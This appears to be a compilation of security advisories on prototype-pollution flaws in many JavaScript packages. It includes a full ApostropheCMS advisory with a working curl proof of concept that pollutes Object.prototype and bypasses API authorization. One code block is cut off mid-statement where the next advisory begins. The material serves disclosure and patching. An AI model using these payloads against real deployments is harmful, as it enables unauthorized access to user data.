A weakness has been identified in apidevtools json-schema-ref-parser. This impacts the function Refs.set/Pointer.set in the library lib/pointer.ts. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. Upgrading to version 15.3.6 will fix this issue. This patch is called a786bc6afc3674f650496472ee93d5cf74c4bd84. It is suggested to upgrade the affected component. The project maintainer confirms: "I reproduced prototype pollution through the public $Refs.set() API in published versions 7.1.4, 9.0.0, 11.0.0, 14.0.0, 14.2.1, 15.3.0, and 15.3.5. The same pointer is rejected by 15.3.6 without modifying Object.prototype. This reported path requires an application to pass an attacker-controlled pointer to $Refs.set(); dependency presence alone does not establish exploitability."
n8n, an open source workflow automation platform, contains a prototype pollution vulnerability (CWE-1321) in versions prior to 1.123.61, 2.27.4, and 2.28.1. An authenticated user with the default workflow:create permission can craft workflows that pollute Object.prototype via the workflow API. This pollution can cause unauthenticated requests to be treated as privileged users, exposing user and project listing endpoints. The issue is fixed in versions 1.123.61, 2.27.4, and 2.28.1.
protobufjs compiles protobuf definitions into JavaScript (JS) functions. From 8.2.0 until 8.6.5, the protobufjs Text Format extension parsed string-keyed map entries using ordinary property assignment, allowing a map entry with key __proto__ to change the prototype of the returned map object instead of creating an own map entry in protobufjs/ext/textformat. This issue is fixed in version 8.6.5.
CyberChef is a web app for encryption, encoding, compression, and data analysis. Prior to 11.2.0, the Series Chart operation accepts __proto__ as a key while parsing user-supplied CSV, allowing prototype pollution that can be chained with operations such as Parse UDP to inject malicious JavaScript into HTML output. This issue is fixed in version 11.2.0.
Jodit versions prior to 4.12.18 contain a prototype pollution vulnerability in the Jodit.configure(options) API. The vulnerability arises because user-supplied options are merged into the editor configuration without filtering keys that can mutate Object.prototype. This allows an attacker to inject properties into Object.prototype, potentially causing unexpected behavior, logic bypass, denial of service, or other security issues. The issue was fixed in version 4.12.18 by rejecting prototype-mutating keys during configuration merges.
A prototype pollution vulnerability exists in the xdan jodit package versions prior to 4.12.26. The vulnerability arises from the Jodit.modules.Helpers.set() function, which improperly allows modification of Object.prototype via specially crafted key paths containing __proto__, constructor, or prototype. This can lead to unexpected property injection and potential security issues. The vulnerability is fixed in version 4.12.26 by rejecting such prototype-mutating keys.
n8n is an open source workflow automation platform. Prior to 1.123.43, 2.22.1, and 2.20.7, an authenticated user with permission to create or modify workflows could bypass the patch for CVE-2026-42232 in the XML node. When combined with other nodes, this could lead to RCE on the n8n host. This vulnerability is fixed in 1.123.43, 2.22.1, and 2.20.7.
n8n is an open source workflow automation platform. Prior to 1.123.43, 2.22.1, and 2.20.7, an authenticated user with permission to create or modify workflows could achieve global prototype pollution via an unvalidated pagination parameter in the HTTP Request node. Combined with other techniques this could lead to RCE on the instance. This vulnerability is fixed in 1.123.43, 2.22.1, and 2.20.7.
n8n is an open source workflow automation platform. Prior to 2.25.7 and 2.26.2, a prototype pollution vulnerability allowed a crafted public webhook payload to inject attacker-controlled fields into workflow data during internal object copying. These fields could be surfaced and consumed as normal values by downstream built-in nodes. Where a workflow combines a public webhook with action nodes that consume the resulting fields, an attacker could cause the workflow to act as a confused deputy — targeting unintended records or issuing outbound requests using the workflow owner's configured credentials. This vulnerability is fixed in 2.25.7 and 2.26.2.
n8n is an open source workflow automation platform. Prior to 2.24.0, an authenticated user with permission to create or modify workflows could achieve global prototype pollution via the Microsoft SQL node by supplying a crafted value as the table parameter. This pollutes Object.prototype process-wide for the lifetime of the n8n server process, causing application-wide validation failures and rendering the n8n instance completely non-functional until restarted. This vulnerability is fixed in 2.24.0.
piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.
deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. Versions prior to 10.0.5 are vulnerable to Prototype Pollution. Exploitation can lead to potential privilege escalation from any authenticated user with write permission to any record. This issue has been fixed in version 10.0.5.
A prototype pollution vulnerability exists in i18next-http-middleware versions prior to 3.9.7. The middleware's missingKeyHandler blocks literal keys like __proto__, constructor, and prototype but does not block dotted variants such as "__proto__.polluted". When used with downstream backends like i18next-fs-backend ≤ 2.6.5 that split keys on a configured separator and write to Object.prototype without proper guards, this can lead to remote prototype pollution. This may cause crashes, corrupted translation behavior, configuration poisoning, or bypasses of property-based security checks. The issue is fixed in version 3.9.7.
Versions prior to 2.6.6 are vulnerable to prototype pollution via crafted missing-key strings when used to persist missing translation keys (e.g. via i18next-http-middleware's missingKeyHandler exposed to untrusted input). Backend.writeFile() splits each queued missing-key string on the configured keySeparator (default .) before calling the internal setPath() walker. The walker (getLastOfPath in lib/utils.js) did not guard against unsafe segments, so a key like "__proto__.polluted" was split into ["__proto__", "polluted"] and walked straight into Object.prototype, allowing an attacker to write arbitrary properties onto the global object prototype. Depending on the host application, polluted prototype properties may cause crashes, corrupted translation behaviour, configuration poisoning, or bypasses of property-based security checks. Applications are affected only if the missingKeyHandler (or another route that forwards untrusted request bodies to i18next.t(..., { ... }) with saveMissing: true) is reachable by untrusted users and the default behaviour of splitting missing-key strings on keySeparator is in use (i.e. keySeparator is not false). Apps that do not expose missing-key persistence to untrusted input are not directly affected through this attack path. This issue has been fixed in version 2.6.6. If developers using the library are unable to upgrade immediately, they should take the following precautions: do not expose i18next-http-middleware's missingKeyHandler to untrusted users (mount it behind authentication, or remove the route), disable missing-key persistence (saveMissing: false, or no backend.create implementation) when accepting writes from untrusted input, and set keySeparator: false in their i18next options to disable backend key splitting (note: this also disables nested translation keys).
<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" />
## Summary
`apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator.
A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.
---
## Details
### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800)
The function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`:
```js
set(o, path, v) {
path = path.split('.');
for (i = 0; i < path.length - 1; i++) {
o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype
}
o[path[i]] = v; // mutates Object.prototype
}
```
### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737)
User-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`:
```js
_.each(patch.$pullAll, function(val, key) {
cloneOriginalBase(key); // uses _.has (hasOwnProperty)
self.apos.util.set(patch, key, ...); // key is fully attacker-controlled
});
```
`cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`.
The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.
---
### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148)
```js
publicApiCheck(req) {
if (!self.options.publicApiProjection) {
if (!self.canAccessApi(req)) {
throw self.apos.error('notfound');
}
}
}
```
Once `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it.
Because JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition:
```js
!self.options.publicApiProjection
```
evaluates to `false` for all modules.
As a result, the authorization check is skipped for every subsequent request handled by the process.
---
## Proof of Concept
**Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB
**Prerequisites:** Editor-level credentials
### Step 1 — Confirm Endpoint Is Protected (Unauthenticated)
```bash
curl -s http://localhost:3000/api/v1/@apostrophecms/user
```
Response:
```json
{"name":"notfound","data":{},"message":"notfound"}
```
---
### Step 2 — Obtain Editor Token
```bash
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-d '{"username":"editor","password":"..."}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
```
---
### Step 3 — Poison `Object.prototype` via `$pullAll`
```bash
curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-H "Cookie: apos-testapp.csrf=csrf" \
-H "X-XSRF-TOKEN: csrf" \
-d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'
```
Response:
```http
HTTP/1.1 200 OK
```
---
### Step 4 — Authorization Bypass Confirmed (Unauthenticated)
```bash
curl -s http://localhost:3000/api/v1/@apostrophecms/user
```
Response:
```json
{"pages":0,"currentPage":1,"results":[]}
```
The endpoint now returns a valid paginated response instead of `notfound`.
No credentials are supplied.
Execution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.
### Cleanup
The pollution persists until the Node.js process is restarted.
---
## Impact
### Vulnerability Type
**Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321)
### Who Is Impacted
Any ApostropheCMS installation where at least one editor-level account exists.
This is the default configuration for multi-user CMS deployments.
### Security Impact
A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.
All subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`.
Verified affected endpoints include:
- `@apostrophecms/user`
- `@apostrophecms/global`
Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.
The bypass affects every unauthenticated visitor until the server is restarted.
---
## Suggested Fix
Reject dangerous prototype-related path segments before traversal:
```js
if (
p === '__proto__' ||
parse-nested-form-data is a tiny node module for parsing FormData by name into objects and arrays. Prior to version 1.0.1, parseFormData() walks bracket and dot-notation FormData field names into nested objects without filtering reserved property keys. A single FormData field whose name begins with __proto__, or contains .__proto__. mid-path, causes the parser to traverse onto Object.prototype and assign properties there, polluting the prototype chain of every plain object in the running process. This issue has been patched in version 1.0.1.
form-data-objectizer converts FormData to object. Prior to 1.0.1, form-data-objectizer walks bracket-notation form keys (e.g.name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process. This vulnerability is fixed in 1.0.1.
deepobj provides get, set, delete deep objects in javascript. Prior to 1.0.3, prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input. This vulnerability is fixed in 1.0.3.
RVF (formerly Remix Validated Form) provides easy form validation and state management for React. From 6.0.0 to before 6.0.4 and 7.0.2, setPath in @rvf/set-get (used by @rvf/core to flatten incoming form data into a nested object) does not block the keys __proto__, constructor, or prototype when walking a path. Because field names in submitted form data are passed directly to setPath via preprocessFormData (and through parseFormData / validate), an attacker who can submit a form to a Remix / React Router app using the library can set arbitrary properties on Object.prototype of the running server process. This is a default-reachable prototype pollution primitive: no special configuration is required. Any endpoint that accepts a form via parseFormData or runs a validator created with createValidator is affected. This vulnerability is fixed in 6.0.4 and 7.0.2.